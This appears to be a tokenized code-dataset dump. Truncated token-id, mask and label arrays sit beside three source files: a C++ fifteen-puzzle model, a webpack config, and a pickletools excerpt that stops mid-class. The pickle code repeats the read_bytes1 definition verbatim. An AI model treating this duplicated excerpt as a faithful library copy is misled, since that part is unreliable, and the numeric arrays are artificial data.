[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
/** * @author Michele Tomaiuolo - http://www.ce.unipr.it/people/tomamic * @license This software is free - http://www.gnu.org/licenses/gpl.html */ #include "fifteenmodel.h" FifteenModel::FifteenModel(int rows, int columns) : silent(false), FifteenPuzzle(rows, columns) { } void FifteenModel::shuffle() { silent = true; FifteenPuzzle::shuffle(); silent = false; } void FifteenModel::moveBlank(Coord delta) { FifteenPuzzle::moveBlank(delta); if (!silent) emit blankMoved(); } FifteenPuzzle::Coord FifteenModel::getBlank() { return blank; } FifteenPuzzle::Coord FifteenModel::getMoved() { return moved; }
Pio1962/fondinfo
2012/proj-1-2009-fifteen-model/fifteenmodel.cpp
C++
gpl-3.0
643
[ 30522, 1013, 1008, 1008, 1008, 1030, 3166, 15954, 3419, 4886, 19098, 4135, 1011, 8299, 1024, 1013, 1013, 7479, 1012, 8292, 1012, 4895, 11514, 2099, 1012, 2009, 1013, 2111, 1013, 3419, 10631, 2278, 1008, 1030, 6105, 2023, 4007, 2003, 2489, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
'use strict'; var webpack = require('webpack'); var cfg = { entry: './src/main.jsx', output: { path: __dirname + '/dist', filename: 'main.js', }, externals: { yaspm: 'commonjs yaspm' }, target: process.env.NODE_ENV === 'web' ? 'web' : 'node-webkit', module: { loaders: [ { test: /\.css$/, loader: "style-loader!css-loader" }, { test: /\.scss$/, loader: 'style-loader!css-loader!sass-loader?includePaths[]=' + __dirname + '/src' }, { test: /\.(js|jsx)$/, loader: 'jsx-loader?harmony' } ] }, plugins: [ new webpack.DefinePlugin({ '__NODEWEBKIT__': process.env.NODE_ENV === 'nodewebkit', }) ] }; module.exports = cfg;
cirocosta/ledmatrix
webpack.config.js
JavaScript
mit
772
[ 30522, 1005, 2224, 9384, 1005, 1025, 13075, 4773, 23947, 1027, 5478, 1006, 1005, 4773, 23947, 1005, 1007, 1025, 13075, 12935, 2290, 1027, 1063, 4443, 1024, 1005, 1012, 1013, 5034, 2278, 1013, 2364, 1012, 1046, 2015, 2595, 1005, 1010, 6434, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
'''"Executable documentation" for the pickle module. Extensive comments about the pickle protocols and pickle-machine opcodes can be found here. Some functions meant for external use: genops(pickle) Generate all the opcodes in a pickle, as (opcode, arg, position) triples. dis(pickle, out=None, memo=None, indentlevel=4) Print a symbolic disassembly of a pickle. ''' import codecs import io import pickle import re import sys __all__ = ['dis', 'genops', 'optimize'] bytes_types = pickle.bytes_types # Other ideas: # # - A pickle verifier: read a pickle and check it exhaustively for # well-formedness. dis() does a lot of this already. # # - A protocol identifier: examine a pickle and return its protocol number # (== the highest .proto attr value among all the opcodes in the pickle). # dis() already prints this info at the end. # # - A pickle optimizer: for example, tuple-building code is sometimes more # elaborate than necessary, catering for the possibility that the tuple # is recursive. Or lots of times a PUT is generated that's never accessed # by a later GET. # "A pickle" is a program for a virtual pickle machine (PM, but more accurately # called an unpickling machine). It's a sequence of opcodes, interpreted by the # PM, building an arbitrarily complex Python object. # # For the most part, the PM is very simple: there are no looping, testing, or # conditional instructions, no arithmetic and no function calls. Opcodes are # executed once each, from first to last, until a STOP opcode is reached. # # The PM has two data areas, "the stack" and "the memo". # # Many opcodes push Python objects onto the stack; e.g., INT pushes a Python # integer object on the stack, whose value is gotten from a decimal string # literal immediately following the INT opcode in the pickle bytestream. Other # opcodes take Python objects off the stack. The result of unpickling is # whatever object is left on the stack when the final STOP opcode is executed. # # The memo is simply an array of objects, or it can be implemented as a dict # mapping little integers to objects. The memo serves as the PM's "long term # memory", and the little integers indexing the memo are akin to variable # names. Some opcodes pop a stack object into the memo at a given index, # and others push a memo object at a given index onto the stack again. # # At heart, that's all the PM has. Subtleties arise for these reasons: # # + Object identity. Objects can be arbitrarily complex, and subobjects # may be shared (for example, the list [a, a] refers to the same object a # twice). It can be vital that unpickling recreate an isomorphic object # graph, faithfully reproducing sharing. # # + Recursive objects. For example, after "L = []; L.append(L)", L is a # list, and L[0] is the same list. This is related to the object identity # point, and some sequences of pickle opcodes are subtle in order to # get the right result in all cases. # # + Things pickle doesn't know everything about. Examples of things pickle # does know everything about are Python's builtin scalar and container # types, like ints and tuples. They generally have opcodes dedicated to # them. For things like module references and instances of user-defined # classes, pickle's knowledge is limited. Historically, many enhancements # have been made to the pickle protocol in order to do a better (faster, # and/or more compact) job on those. # # + Backward compatibility and micro-optimization. As explained below, # pickle opcodes never go away, not even when better ways to do a thing # get invented. The repertoire of the PM just keeps growing over time. # For example, protocol 0 had two opcodes for building Python integers (INT # and LONG), protocol 1 added three more for more-efficient pickling of short # integers, and protocol 2 added two more for more-efficient pickling of # long integers (before protocol 2, the only ways to pickle a Python long # took time quadratic in the number of digits, for both pickling and # unpickling). "Opcode bloat" isn't so much a subtlety as a source of # wearying complication. # # # Pickle protocols: # # For compatibility, the meaning of a pickle opcode never changes. Instead new # pickle opcodes get added, and each version's unpickler can handle all the # pickle opcodes in all protocol versions to date. So old pickles continue to # be readable forever. The pickler can generally be told to restrict itself to # the subset of opcodes available under previous protocol versions too, so that # users can create pickles under the current version readable by older # versions. However, a pickle does not contain its version number embedded # within it. If an older unpickler tries to read a pickle using a later # protocol, the result is most likely an exception due to seeing an unknown (in # the older unpickler) opcode. # # The original pickle used what's now called "protocol 0", and what was called # "text mode" before Python 2.3. The entire pickle bytestream is made up of # printable 7-bit ASCII characters, plus the newline character, in protocol 0. # That's why it was called text mode. Protocol 0 is small and elegant, but # sometimes painfully inefficient. # # The second major set of additions is now called "protocol 1", and was called # "binary mode" before Python 2.3. This added many opcodes with arguments # consisting of arbitrary bytes, including NUL bytes and unprintable "high bit" # bytes. Binary mode pickles can be substantially smaller than equivalent # text mode pickles, and sometimes faster too; e.g., BININT represents a 4-byte # int as 4 bytes following the opcode, which is cheaper to unpickle than the # (perhaps) 11-character decimal string attached to INT. Protocol 1 also added # a number of opcodes that operate on many stack elements at once (like APPENDS # and SETITEMS), and "shortcut" opcodes (like EMPTY_DICT and EMPTY_TUPLE). # # The third major set of additions came in Python 2.3, and is called "protocol # 2". This added: # # - A better way to pickle instances of new-style classes (NEWOBJ). # # - A way for a pickle to identify its protocol (PROTO). # # - Time- and space- efficient pickling of long ints (LONG{1,4}). # # - Shortcuts for small tuples (TUPLE{1,2,3}}. # # - Dedicated opcodes for bools (NEWTRUE, NEWFALSE). # # - The "extension registry", a vector of popular objects that can be pushed # efficiently by index (EXT{1,2,4}). This is akin to the memo and GET, but # the registry contents are predefined (there's nothing akin to the memo's # PUT). # # Another independent change with Python 2.3 is the abandonment of any # pretense that it might be safe to load pickles received from untrusted # parties -- no sufficient security analysis has been done to guarantee # this and there isn't a use case that warrants the expense of such an # analysis. # # To this end, all tests for __safe_for_unpickling__ or for # copyreg.safe_constructors are removed from the unpickling code. # References to these variables in the descriptions below are to be seen # as describing unpickling in Python 2.2 and before. # Meta-rule: Descriptions are stored in instances of descriptor objects, # with plain constructors. No meta-language is defined from which # descriptors could be constructed. If you want, e.g., XML, write a little # program to generate XML from the objects. ############################################################################## # Some pickle opcodes have an argument, following the opcode in the # bytestream. An argument is of a specific type, described by an instance # of ArgumentDescriptor. These are not to be confused with arguments taken # off the stack -- ArgumentDescriptor applies only to arguments embedded in # the opcode stream, immediately following an opcode. # Represents the number of bytes consumed by an argument delimited by the # next newline character. UP_TO_NEWLINE = -1 # Represents the number of bytes consumed by a two-argument opcode where # the first argument gives the number of bytes in the second argument. TAKEN_FROM_ARGUMENT1 = -2 # num bytes is 1-byte unsigned int TAKEN_FROM_ARGUMENT4 = -3 # num bytes is 4-byte signed little-endian int TAKEN_FROM_ARGUMENT4U = -4 # num bytes is 4-byte unsigned little-endian int TAKEN_FROM_ARGUMENT8U = -5 # num bytes is 8-byte unsigned little-endian int class ArgumentDescriptor(object): __slots__ = ( # name of descriptor record, also a module global name; a string 'name', # length of argument, in bytes; an int; UP_TO_NEWLINE and # TAKEN_FROM_ARGUMENT{1,4,8} are negative values for variable-length # cases 'n', # a function taking a file-like object, reading this kind of argument # from the object at the current position, advancing the current # position by n bytes, and returning the value of the argument 'reader', # human-readable docs for this arg descriptor; a string 'doc', ) def __init__(self, name, n, reader, doc): assert isinstance(name, str) self.name = name assert isinstance(n, int) and (n >= 0 or n in (UP_TO_NEWLINE, TAKEN_FROM_ARGUMENT1, TAKEN_FROM_ARGUMENT4, TAKEN_FROM_ARGUMENT4U, TAKEN_FROM_ARGUMENT8U)) self.n = n self.reader = reader assert isinstance(doc, str) self.doc = doc from struct import unpack as _unpack def read_uint1(f): r""" >>> import io >>> read_uint1(io.BytesIO(b'\xff')) 255 """ data = f.read(1) if data: return data[0] raise ValueError("not enough data in stream to read uint1") uint1 = ArgumentDescriptor( name='uint1', n=1, reader=read_uint1, doc="One-byte unsigned integer.") def read_uint2(f): r""" >>> import io >>> read_uint2(io.BytesIO(b'\xff\x00')) 255 >>> read_uint2(io.BytesIO(b'\xff\xff')) 65535 """ data = f.read(2) if len(data) == 2: return _unpack("<H", data)[0] raise ValueError("not enough data in stream to read uint2") uint2 = ArgumentDescriptor( name='uint2', n=2, reader=read_uint2, doc="Two-byte unsigned integer, little-endian.") def read_int4(f): r""" >>> import io >>> read_int4(io.BytesIO(b'\xff\x00\x00\x00')) 255 >>> read_int4(io.BytesIO(b'\x00\x00\x00\x80')) == -(2**31) True """ data = f.read(4) if len(data) == 4: return _unpack("<i", data)[0] raise ValueError("not enough data in stream to read int4") int4 = ArgumentDescriptor( name='int4', n=4, reader=read_int4, doc="Four-byte signed integer, little-endian, 2's complement.") def read_uint4(f): r""" >>> import io >>> read_uint4(io.BytesIO(b'\xff\x00\x00\x00')) 255 >>> read_uint4(io.BytesIO(b'\x00\x00\x00\x80')) == 2**31 True """ data = f.read(4) if len(data) == 4: return _unpack("<I", data)[0] raise ValueError("not enough data in stream to read uint4") uint4 = ArgumentDescriptor( name='uint4', n=4, reader=read_uint4, doc="Four-byte unsigned integer, little-endian.") def read_uint8(f): r""" >>> import io >>> read_uint8(io.BytesIO(b'\xff\x00\x00\x00\x00\x00\x00\x00')) 255 >>> read_uint8(io.BytesIO(b'\xff' * 8)) == 2**64-1 True """ data = f.read(8) if len(data) == 8: return _unpack("<Q", data)[0] raise ValueError("not enough data in stream to read uint8") uint8 = ArgumentDescriptor( name='uint8', n=8, reader=read_uint8, doc="Eight-byte unsigned integer, little-endian.") def read_stringnl(f, decode=True, stripquotes=True): r""" >>> import io >>> read_stringnl(io.BytesIO(b"'abcd'\nefg\n")) 'abcd' >>> read_stringnl(io.BytesIO(b"\n")) Traceback (most recent call last): ... ValueError: no string quotes around b'' >>> read_stringnl(io.BytesIO(b"\n"), stripquotes=False) '' >>> read_stringnl(io.BytesIO(b"''\n")) '' >>> read_stringnl(io.BytesIO(b'"abcd"')) Traceback (most recent call last): ... ValueError: no newline found when trying to read stringnl Embedded escapes are undone in the result. >>> read_stringnl(io.BytesIO(br"'a\n\\b\x00c\td'" + b"\n'e'")) 'a\n\\b\x00c\td' """ data = f.readline() if not data.endswith(b'\n'): raise ValueError("no newline found when trying to read stringnl") data = data[:-1] # lose the newline if stripquotes: for q in (b'"', b"'"): if data.startswith(q): if not data.endswith(q): raise ValueError("strinq quote %r not found at both " "ends of %r" % (q, data)) data = data[1:-1] break else: raise ValueError("no string quotes around %r" % data) if decode: data = codecs.escape_decode(data)[0].decode("ascii") return data stringnl = ArgumentDescriptor( name='stringnl', n=UP_TO_NEWLINE, reader=read_stringnl, doc="""A newline-terminated string. This is a repr-style string, with embedded escapes, and bracketing quotes. """) def read_stringnl_noescape(f): return read_stringnl(f, stripquotes=False) stringnl_noescape = ArgumentDescriptor( name='stringnl_noescape', n=UP_TO_NEWLINE, reader=read_stringnl_noescape, doc="""A newline-terminated string. This is a str-style string, without embedded escapes, or bracketing quotes. It should consist solely of printable ASCII characters. """) def read_stringnl_noescape_pair(f): r""" >>> import io >>> read_stringnl_noescape_pair(io.BytesIO(b"Queue\nEmpty\njunk")) 'Queue Empty' """ return "%s %s" % (read_stringnl_noescape(f), read_stringnl_noescape(f)) stringnl_noescape_pair = ArgumentDescriptor( name='stringnl_noescape_pair', n=UP_TO_NEWLINE, reader=read_stringnl_noescape_pair, doc="""A pair of newline-terminated strings. These are str-style strings, without embedded escapes, or bracketing quotes. They should consist solely of printable ASCII characters. The pair is returned as a single string, with a single blank separating the two strings. """) def read_string1(f): r""" >>> import io >>> read_string1(io.BytesIO(b"\x00")) '' >>> read_string1(io.BytesIO(b"\x03abcdef")) 'abc' """ n = read_uint1(f) assert n >= 0 data = f.read(n) if len(data) == n: return data.decode("latin-1") raise ValueError("expected %d bytes in a string1, but only %d remain" % (n, len(data))) string1 = ArgumentDescriptor( name="string1", n=TAKEN_FROM_ARGUMENT1, reader=read_string1, doc="""A counted string. The first argument is a 1-byte unsigned int giving the number of bytes in the string, and the second argument is that many bytes. """) def read_string4(f): r""" >>> import io >>> read_string4(io.BytesIO(b"\x00\x00\x00\x00abc")) '' >>> read_string4(io.BytesIO(b"\x03\x00\x00\x00abcdef")) 'abc' >>> read_string4(io.BytesIO(b"\x00\x00\x00\x03abcdef")) Traceback (most recent call last): ... ValueError: expected 50331648 bytes in a string4, but only 6 remain """ n = read_int4(f) if n < 0: raise ValueError("string4 byte count < 0: %d" % n) data = f.read(n) if len(data) == n: return data.decode("latin-1") raise ValueError("expected %d bytes in a string4, but only %d remain" % (n, len(data))) string4 = ArgumentDescriptor( name="string4", n=TAKEN_FROM_ARGUMENT4, reader=read_string4, doc="""A counted string. The first argument is a 4-byte little-endian signed int giving the number of bytes in the string, and the second argument is that many bytes. """) def read_bytes1(f): r""" >>> import io >>> read_bytes1(io.BytesIO(b"\x00")) b'' >>> read_bytes1(io.BytesIO(b"\x03abcdef")) b'abc' """ n = read_uint1(f) assert n >= 0 data = f.read(n) if len(data) == n: return data raise ValueError("expected %d bytes in a bytes1, but only %d remain" % (n, len(data))) bytes1 = ArgumentDescriptor( name="bytes1", n=TAKEN_FROM_ARGUMENT1, reader=read_bytes1, doc="""A counted bytes string. The first argument is a 1-byte unsigned int giving the number of bytes in the string, and the second argument is that many bytes. """) def read_bytes1(f): r""" >>> import io >>> read_bytes1(io.BytesIO(b"\x00")) b'' >>> read_bytes1(io.BytesIO(b"\x03abcdef")) b'abc' """ n = read_uint1(f) assert n >= 0 data = f.read(n) if len(data) == n: return data raise ValueError("expected %d bytes in a bytes1, but only %d remain" % (n, len(data))) bytes1 = ArgumentDescriptor( name="bytes1", n=TAKEN_FROM_ARGUMENT1, reader=read_bytes1, doc="""A counted bytes string. The first argument is a 1-byte unsigned int giving the number of bytes, and the second argument is that many bytes. """) def read_bytes4(f): r""" >>> import io >>> read_bytes4(io.BytesIO(b"\x00\x00\x00\x00abc")) b'' >>> read_bytes4(io.BytesIO(b"\x03\x00\x00\x00abcdef")) b'abc' >>> read_bytes4(io.BytesIO(b"\x00\x00\x00\x03abcdef")) Traceback (most recent call last): ... ValueError: expected 50331648 bytes in a bytes4, but only 6 remain """ n = read_uint4(f) assert n >= 0 if n > sys.maxsize: raise ValueError("bytes4 byte count > sys.maxsize: %d" % n) data = f.read(n) if len(data) == n: return data raise ValueError("expected %d bytes in a bytes4, but only %d remain" % (n, len(data))) bytes4 = ArgumentDescriptor( name="bytes4", n=TAKEN_FROM_ARGUMENT4U, reader=read_bytes4, doc="""A counted bytes string. The first argument is a 4-byte little-endian unsigned int giving the number of bytes, and the second argument is that many bytes. """) def read_bytes8(f): r""" >>> import io, struct, sys >>> read_bytes8(io.BytesIO(b"\x00\x00\x00\x00\x00\x00\x00\x00abc")) b'' >>> read_bytes8(io.BytesIO(b"\x03\x00\x00\x00\x00\x00\x00\x00abcdef")) b'abc' >>> bigsize8 = struct.pack("<Q", sys.maxsize//3) >>> read_bytes8(io.BytesIO(bigsize8 + b"abcdef")) #doctest: +ELLIPSIS Traceback (most recent call last): ... ValueError: expected ... bytes in a bytes8, but only 6 remain """ n = read_uint8(f) assert n >= 0 if n > sys.maxsize: raise ValueError("bytes8 byte count > sys.maxsize: %d" % n) data = f.read(n) if len(data) == n: return data raise ValueError("expected %d bytes in a bytes8, but only %d remain" % (n, len(data))) bytes8 = ArgumentDescriptor( name="bytes8", n=TAKEN_FROM_ARGUMENT8U, reader=read_bytes8, doc="""A counted bytes string. The first argument is an 8-byte little-endian unsigned int giving the number of bytes, and the second argument is that many bytes. """) def read_unicodestringnl(f): r""" >>> import io >>> read_unicodestringnl(io.BytesIO(b"abc\\uabcd\njunk")) == 'abc\uabcd' True """ data = f.readline() if not data.endswith(b'\n'): raise ValueError("no newline found when trying to read " "unicodestringnl") data = data[:-1] # lose the newline return str(data, 'raw-unicode-escape') unicodestringnl = ArgumentDescriptor( name='unicodestringnl', n=UP_TO_NEWLINE, reader=read_unicodestringnl, doc="""A newline-terminated Unicode string. This is raw-unicode-escape encoded, so consists of printable ASCII characters, and may contain embedded escape sequences. """) def read_unicodestring1(f): r""" >>> import io >>> s = 'abcd\uabcd' >>> enc = s.encode('utf-8') >>> enc b'abcd\xea\xaf\x8d' >>> n = bytes([len(enc)]) # little-endian 1-byte length >>> t = read_unicodestring1(io.BytesIO(n + enc + b'junk')) >>> s == t True >>> read_unicodestring1(io.BytesIO(n + enc[:-1])) Traceback (most recent call last): ... ValueError: expected 7 bytes in a unicodestring1, but only 6 remain """ n = read_uint1(f) assert n >= 0 data = f.read(n) if len(data) == n: return str(data, 'utf-8', 'surrogatepass') raise ValueError("expected %d bytes in a unicodestring1, but only %d " "remain" % (n, len(data))) unicodestring1 = ArgumentDescriptor( name="unicodestring1", n=TAKEN_FROM_ARGUMENT1, reader=read_unicodestring1, doc="""A counted Unicode string. The first argument is a 1-byte little-endian signed int giving the number of bytes in the string, and the second argument-- the UTF-8 encoding of the Unicode string -- contains that many bytes. """) def read_unicodestring4(f): r""" >>> import io >>> s = 'abcd\uabcd' >>> enc = s.encode('utf-8') >>> enc b'abcd\xea\xaf\x8d' >>> n = bytes([len(enc), 0, 0, 0]) # little-endian 4-byte length >>> t = read_unicodestring4(io.BytesIO(n + enc + b'junk')) >>> s == t True >>> read_unicodestring4(io.BytesIO(n + enc[:-1])) Traceback (most recent call last): ... ValueError: expected 7 bytes in a unicodestring4, but only 6 remain """ n = read_uint4(f) assert n >= 0 if n > sys.maxsize: raise ValueError("unicodestring4 byte count > sys.maxsize: %d" % n) data = f.read(n) if len(data) == n: return str(data, 'utf-8', 'surrogatepass') raise ValueError("expected %d bytes in a unicodestring4, but only %d " "remain" % (n, len(data))) unicodestring4 = ArgumentDescriptor( name="unicodestring4", n=TAKEN_FROM_ARGUMENT4U, reader=read_unicodestring4, doc="""A counted Unicode string. The first argument is a 4-byte little-endian signed int giving the number of bytes in the string, and the second argument-- the UTF-8 encoding of the Unicode string -- contains that many bytes. """) def read_unicodestring8(f): r""" >>> import io >>> s = 'abcd\uabcd' >>> enc = s.encode('utf-8') >>> enc b'abcd\xea\xaf\x8d' >>> n = bytes([len(enc)]) + b'\0' * 7 # little-endian 8-byte length >>> t = read_unicodestring8(io.BytesIO(n + enc + b'junk')) >>> s == t True >>> read_unicodestring8(io.BytesIO(n + enc[:-1])) Traceback (most recent call last): ... ValueError: expected 7 bytes in a unicodestring8, but only 6 remain """ n = read_uint8(f) assert n >= 0 if n > sys.maxsize: raise ValueError("unicodestring8 byte count > sys.maxsize: %d" % n) data = f.read(n) if len(data) == n: return str(data, 'utf-8', 'surrogatepass') raise ValueError("expected %d bytes in a unicodestring8, but only %d " "remain" % (n, len(data))) unicodestring8 = ArgumentDescriptor( name="unicodestring8", n=TAKEN_FROM_ARGUMENT8U, reader=read_unicodestring8, doc="""A counted Unicode string. The first argument is an 8-byte little-endian signed int giving the number of bytes in the string, and the second argument-- the UTF-8 encoding of the Unicode string -- contains that many bytes. """) def read_decimalnl_short(f): r""" >>> import io >>> read_decimalnl_short(io.BytesIO(b"1234\n56")) 1234 >>> read_decimalnl_short(io.BytesIO(b"1234L\n56")) Traceback (most recent call last): ... ValueError: invalid literal for int() with base 10: b'1234L' """ s = read_stringnl(f, decode=False, stripquotes=False) # There's a hack for True and False here. if s == b"00": return False elif s == b"01": return True return int(s) def read_decimalnl_long(f): r""" >>> import io >>> read_decimalnl_long(io.BytesIO(b"1234L\n56")) 1234 >>> read_decimalnl_long(io.BytesIO(b"123456789012345678901234L\n6")) 123456789012345678901234 """ s = read_stringnl(f, decode=False, stripquotes=False) if s[-1:] == b'L': s = s[:-1] return int(s) decimalnl_short = ArgumentDescriptor( name='decimalnl_short', n=UP_TO_NEWLINE, reader=read_decimalnl_short, doc="""A newline-terminated decimal integer literal. This never has a trailing 'L', and the integer fit in a short Python int on the box where the pickle was written -- but there's no guarantee it will fit in a short Python int on the box where the pickle is read. """) decimalnl_long = ArgumentDescriptor( name='decimalnl_long', n=UP_TO_NEWLINE, reader=read_decimalnl_long, doc="""A newline-terminated decimal integer literal. This has a trailing 'L', and can represent integers of any size. """) def read_floatnl(f): r""" >>> import io >>> read_floatnl(io.BytesIO(b"-1.25\n6")) -1.25 """ s = read_stringnl(f, decode=False, stripquotes=False) return float(s) floatnl = ArgumentDescriptor( name='floatnl', n=UP_TO_NEWLINE, reader=read_floatnl, doc="""A newline-terminated decimal floating literal. In general this requires 17 significant digits for roundtrip identity, and pickling then unpickling infinities, NaNs, and minus zero doesn't work across boxes, or on some boxes even on itself (e.g., Windows can't read the strings it produces for infinities or NaNs). """) def read_float8(f): r""" >>> import io, struct >>> raw = struct.pack(">d", -1.25) >>> raw b'\xbf\xf4\x00\x00\x00\x00\x00\x00' >>> read_float8(io.BytesIO(raw + b"\n")) -1.25 """ data = f.read(8) if len(data) == 8: return _unpack(">d", data)[0] raise ValueError("not enough data in stream to read float8") float8 = ArgumentDescriptor( name='float8', n=8, reader=read_float8, doc="""An 8-byte binary representation of a float, big-endian. The format is unique to Python, and shared with the struct module (format string '>d') "in theory" (the struct and pickle implementations don't share the code -- they should). It's strongly related to the IEEE-754 double format, and, in normal cases, is in fact identical to the big-endian 754 double format. On other boxes the dynamic range is limited to that of a 754 double, and "add a half and chop" rounding is used to reduce the precision to 53 bits. However, even on a 754 box, infinities, NaNs, and minus zero may not be handled correctly (may not survive roundtrip pickling intact). """) # Protocol 2 formats from pickle import decode_long def read_long1(f): r""" >>> import io >>> read_long1(io.BytesIO(b"\x00")) 0 >>> read_long1(io.BytesIO(b"\x02\xff\x00")) 255 >>> read_long1(io.BytesIO(b"\x02\xff\x7f")) 32767 >>> read_long1(io.BytesIO(b"\x02\x00\xff")) -256 >>> read_long1(io.BytesIO(b"\x02\x00\x80")) -32768 """ n = read_uint1(f) data = f.read(n) if len(data) != n: raise ValueError("not enough data in stream to read long1") return decode_long(data) long1 = ArgumentDescriptor( name="long1", n=TAKEN_FROM_ARGUMENT1, reader=read_long1, doc="""A binary long, little-endian, using 1-byte size. This first reads one byte as an unsigned size, then reads that many bytes and interprets them as a little-endian 2's-complement long. If the size is 0, that's taken as a shortcut for the long 0L. """) def read_long4(f): r""" >>> import io >>> read_long4(io.BytesIO(b"\x02\x00\x00\x00\xff\x00")) 255 >>> read_long4(io.BytesIO(b"\x02\x00\x00\x00\xff\x7f")) 32767 >>> read_long4(io.BytesIO(b"\x02\x00\x00\x00\x00\xff")) -256 >>> read_long4(io.BytesIO(b"\x02\x00\x00\x00\x00\x80")) -32768 >>> read_long1(io.BytesIO(b"\x00\x00\x00\x00")) 0 """ n = read_int4(f) if n < 0: raise ValueError("long4 byte count < 0: %d" % n) data = f.read(n) if len(data) != n: raise ValueError("not enough data in stream to read long4") return decode_long(data) long4 = ArgumentDescriptor( name="long4", n=TAKEN_FROM_ARGUMENT4, reader=read_long4, doc="""A binary representation of a long, little-endian. This first reads four bytes as a signed size (but requires the size to be >= 0), then reads that many bytes and interprets them as a little-endian 2's-complement long. If the size is 0, that's taken as a shortcut for the int 0, although LONG1 should really be used then instead (and in any case where # of bytes < 256). """) ############################################################################## # Object descriptors. The stack used by the pickle machine holds objects, # and in the stack_before and stack_after attributes of OpcodeInfo # descriptors we need names to describe the various types of objects that can # appear on the stack. class StackObject(object): __slots__ = ( # name of descriptor record, for info only 'name', # type of object, or tuple of type objects (meaning the object can # be of any type in the tuple) 'obtype', # human-readable docs for this kind of stack object; a string 'doc', ) def __init__(self, name, obtype, doc): assert isinstance(name, str) self.name = name assert isinstance(obtype, type) or isinstance(obtype, tuple) if isinstance(obtype, tuple): for contained in obtype: assert isinstance(contained, type) self.obtype = obtype assert isinstance(doc, str) self.doc = doc def __repr__(self): return self.name pyint = pylong = StackObject( name='int', obtype=int, doc="A Python integer object.") pyinteger_or_bool = StackObject( name='int_or_bool', obtype=(int, bool), doc="A Python integer or boolean object.") pybool = StackObject( name='bool', obtype=bool, doc="A Python boolean object.") pyfloat = StackObject( name='float', obtype=float, doc="A Python float object.") pybytes_or_str = pystring = StackObject( name='bytes_or_str', obtype=(bytes, str), doc="A Python bytes or (Unicode) string object.") pybytes = StackObject( name='bytes', obtype=bytes, doc="A Python bytes object.") pyunicode = StackObject( name='str', obtype=str, doc="A Python (Unicode) string object.") pynone = StackObject( name="None", obtype=type(None), doc="The Python None object.") pytuple = StackObject( name="tuple", obtype=tuple, doc="A Python tuple object.") pylist = StackObject( name="list", obtype=list, doc="A Python list object.") pydict = StackObject( name="dict", obtype=dict, doc="A Python dict object.") pyset = StackObject( name="set", obtype=set, doc="A Python set object.") pyfrozenset = StackObject( name="frozenset", obtype=set, doc="A Python frozenset object.") anyobject = StackObject( name='any', obtype=object, doc="Any kind of object whatsoever.") markobject = StackObject( name="mark", obtype=StackObject, doc="""'The mark' is a unique object. Opcodes that operate on a variable number of objects generally don't embed the count of objects in the opcode, or pull it off the stack. Instead the MARK opcode is used to push a special marker object on the stack, and then some other opcodes grab all the objects from the top of the stack down to (but not including) the topmost marker object. """) stackslice = StackObject( name="stackslice", obtype=StackObject, doc="""An object representing a contiguous slice of the stack. This is used in conjunction with markobject, to represent all of the stack following the topmost markobject. For example, the POP_MARK opcode changes the stack from [..., markobject, stackslice] to [...] No matter how many object are on the stack after the topmost markobject, POP_MARK gets rid of all of them (including the topmost markobject too). """) ############################################################################## # Descriptors for pickle opcodes. class OpcodeInfo(object): __slots__ = ( # symbolic name of opcode; a string 'name', # the code used in a bytestream to represent the opcode; a # one-character string 'code', # If the opcode has an argument embedded in the byte string, an # instance of ArgumentDescriptor specifying its type. Note that # arg.reader(s) can be used to read and decode the argument from # the bytestream s, and arg.doc documents the format of the raw # argument bytes. If the opcode doesn't have an argument embedded # in the bytestream, arg should be None. 'arg', # what the stack looks like before this opcode runs; a list 'stack_before', # what the stack looks like after this opcode runs; a list 'stack_after', # the protocol number in which this opcode was introduced; an int 'proto', # human-readable docs for this opcode; a string 'doc', ) def __init__(self, name, code, arg, stack_before, stack_after, proto, doc): assert isinstance(name, str) self.name = name assert isinstance(code, str) assert len(code) == 1 self.code = code assert arg is None or isinstance(arg, ArgumentDescriptor) self.arg = arg assert isinstance(stack_before, list) for x in stack_before: assert isinstance(x, StackObject) self.stack_before = stack_before assert isinstance(stack_after, list) for x in stack_after: assert isinstance(x, StackObject) 